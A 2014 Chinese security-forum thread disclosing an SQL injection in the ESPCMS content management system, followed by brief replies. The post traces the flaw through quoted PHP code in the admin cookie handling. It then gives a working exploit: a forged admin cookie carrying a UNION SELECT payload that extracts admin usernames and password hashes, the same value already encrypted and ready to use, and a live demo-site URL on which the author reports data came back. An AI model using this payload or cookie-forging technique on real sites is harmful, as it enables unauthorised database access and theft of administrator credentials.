C4r1st 发表于 2014-8-5 16:52:00

ESPCMS sql注入

下了最新版来看看，发现 加密函数 还是老样子啊- -

不过 ，查询换成 了 id 而不是 username了，

但是 id 是 intval的。
function member_cookieview($keyword = false) {

$retrunstr = array();

$retrunstr['username'] = $this->fun->eccode($this->fun->accept('ecisp_member_username', 'C'), 'DECODE', db_pscode);

$user_info = explode('|', $this->fun->eccode($this->fun->accept('ecisp_member_info', 'C'), 'DECODE', db_pscode));



list($retrunstr['userid'], $retrunstr['alias'], $retrunstr['integral'], $retrunstr['mcid'], $retrunstr['email'], $retrunstr['lastip'], $retrunstr['ipadd'], $retrunstr['useragent'], $retrunstr['adminclassurl']) = $user_info;



$retrunstr['userid'] = intval($retrunstr['userid']);

$retrunstr['integral'] = intval($retrunstr['integral']);

$retrunstr['mcid'] = intval($retrunstr['mcid']);



return !$keyword ? $retrunstr : $retrunstr[$keyword];

}
前台利用cookie注入的地方 彩笔我是没找到了， 但是 后台检测管理登入的文件出了问题

/adminsoft/control/management.php
function onhome() {

parent::start_template();



$db_table = db_prefix . 'admin_member';

$db_where = "username='$this->esp_username'";

$rsMember = $this->db->fetch_first('SELECT id,username,password,name,sex,intotime,intime,outtime,ipadd,hit,powergroup,inputclassid,isclass FROM ' . $db_table . ' WHERE ' . $db_where);

$this->ectemplates->assign('username', $rsMember['username']);

$this->ectemplates->assign('name', $rsMember['name']);

if ($rsMember['sex'] == 1) {

$rsMember['sextype'] = $this->lng['select_sex_1'];

} else {

$rsMember['sextype'] = $this->lng['select_sex_0'];

}





$db_table = db_prefix . 'admin_powergroup';

if (empty($rsMember['powergroup']) && empty($rsMember['username'])) {

exit('Cookie err');

}

$db_where = 'id=' . $rsMember['powergroup'];

..............
这里 username 带入了查询。当然 要满足admin_purview()
$arr_purview = explode('|', $this->fun->eccode($ecisp_admininfo, 'DECODE', db_pscode));



$this->esp_powerlist = explode('|', $this->fun->eccode($esp_powerlist, 'DECODE', db_pscode));



list($esp_adminuserid, $this->esp_username, $this->esp_password, $this->esp_useragent, $esp_powerid, $esp_inputclassid, $this->esp_softurl) = $arr_purview;//在此处 赋值esp_username 导致注入

.................

if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_AGENT) != $this->esp_useragent || md5(admin_ClassURL) != $this->esp_softurl) // 和以前一样 要满足这个条件。
用 @索马里的海贼 的方法 得到key 后 构造恶意的cookie 即可注入。

正常的解密后的 cookie是这样子的

1|admin|md5(pass)|md5(admin_AGENT)|1|1|md5(admin_ClassURL)

将admin替换成 sql语句 ，后两个md5 值改下， 得到如下

cookie
1|' union select 1,username,3,password,5,6,7,8,9,10,11,12,13 from espcms_admin_member#|a|a32b0be10848d387fcc64b92239d689f|1|1|29aac6e385cf17b8d63035edfbe068af

自带的函数加密下->
ecisp_admininfo=Zt5YVtnSmaGmWKqe0sbH2FGUkKzUyKfQk9LGjpSO0sOp1t3V1pZhbWGYXW2QnFxrZGlnZZeSkJVjj5Vqgcmn0Z-FxtXRxc_VlcTK082glKWaz5Ob1oesk7SZamvIkcbJYpOca5nHaJppy8TFl5bEm2iVmZ_IaG1xm95ispXgYmuZmZpvy5ScmZTJlW7Dm5mYZZWUl8bGyMSbk5yexZg

调用adminsoft/control/management.php的 onhome

http://demo.ecisp.cn/adminsoft/index.php?archive=management&action=home

修改 cookie ，恩，数据出来了。

蓝色_ 发表于 2014-8-5 17:09:23

前排{:soso__3669389859068460655_4:}

phantomer 发表于 2014-8-5 21:01:00

感谢分享

li141688 发表于 2014-8-5 23:34:14

鸡鸡，您又来发EXP了啊。。:lol:lol

黑水 发表于 2014-8-6 00:43:32

审查的眼酸不？

csadsl 发表于 2014-8-7 09:47:20

审查很要功夫啊

lyrric 发表于 2014-8-7 23:14:57

这个要学了php才看得懂

nextdoor 发表于 2014-8-8 17:12:13

这个ems安全还行,只有通过加密才能绕过进行注入了，不知还有没有其他绕过的办法
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